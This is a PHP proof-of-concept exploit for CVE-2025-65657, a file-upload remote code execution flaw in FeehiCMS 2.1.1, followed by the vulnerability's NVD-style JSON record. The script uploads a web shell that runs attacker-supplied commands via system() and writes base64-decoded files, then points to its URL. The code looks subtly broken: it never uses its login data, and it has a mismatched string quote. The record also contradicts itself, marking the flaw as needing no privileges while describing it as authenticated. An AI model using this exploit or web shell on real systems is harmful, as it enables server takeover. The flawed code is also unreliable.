CVE-2025-65657

<?php // CVE-2025-65657 PoC - FeehiCMS 2.1.1 RCE via Ad Management File Upload // Target: FeehiCMS 2.1.1 // Module: Ad Management - Unrestricted File Upload // Authentication required - obtain valid admin credentials first $target_url = "http://target.com/index.php?r=ad/upload"; $login_url = "http://target.com/index.php?r=site/login"; // Login to get authenticated session $login_data = [ 'LoginForm[username]' => 'admin', 'LoginForm[password]' => 'password', 'LoginForm[rememberMe]' => 1 ]; // Prepare malicious PHP file for upload $poc_code = '<?php\n' . 'if(isset($_GET["cmd"])){\n' . ' echo "<pre>";\n' . ' system($_GET["cmd"]);\n' . ' echo "</pre>";\n' . '}\n' . 'if(isset($_GET["upload"])){\n' . ' file_put_contents("shell.php", base64_decode($_GET["upload"]));\n' . '}\n' . '?>"; // Create multipart form data for file upload $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(16)); $file_content = "--$boundary\r\n" . "Content-Disposition: form-data; name=\"Ad[image]\"; filename=\"shell.php\"\r\n" . "Content-Type: application/x-php\r\n\r\n" . $poc_code . "\r\n" . "--$boundary--\r\n"; // Send upload request $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: multipart/form-data; boundary=$boundary" ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Execute commands via uploaded shell echo "RCE Exploit sent. Access uploaded file to execute commands:\n"; echo "http://target.com/uploads/ad/shell.php?cmd=whoami\n"; ?>

{"cve": {"id": "CVE-2025-65657", "sourceIdentifier": "[email protected]", "published": "2025-12-02T21:15:53.063", "lastModified": "2025-12-19T18:18:36.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FeehiCMS version 2.1.1 has a Remote Code Execution via Unrestricted File Upload in Ad Management. FeehiCMS version 2.1.1 allows authenticated remote attackers to upload files that the server later executes (or stores in an executable location) without sufficient validation, sanitization, or execution restrictions. An authenticated remote attacker can upload a crafted PHP file and cause the application or web server to execute it, resulting in remote code execution (RCE)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:feehi:feehicms:2.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "DBEE4749-21CC-4336-8565-A05BC680EDF2"}]}]}], "references": [{"url": "https://github.com/kiwi865/CVEs/blob/main/CVE-2025-65657.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/liufee/cms/issues/78", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}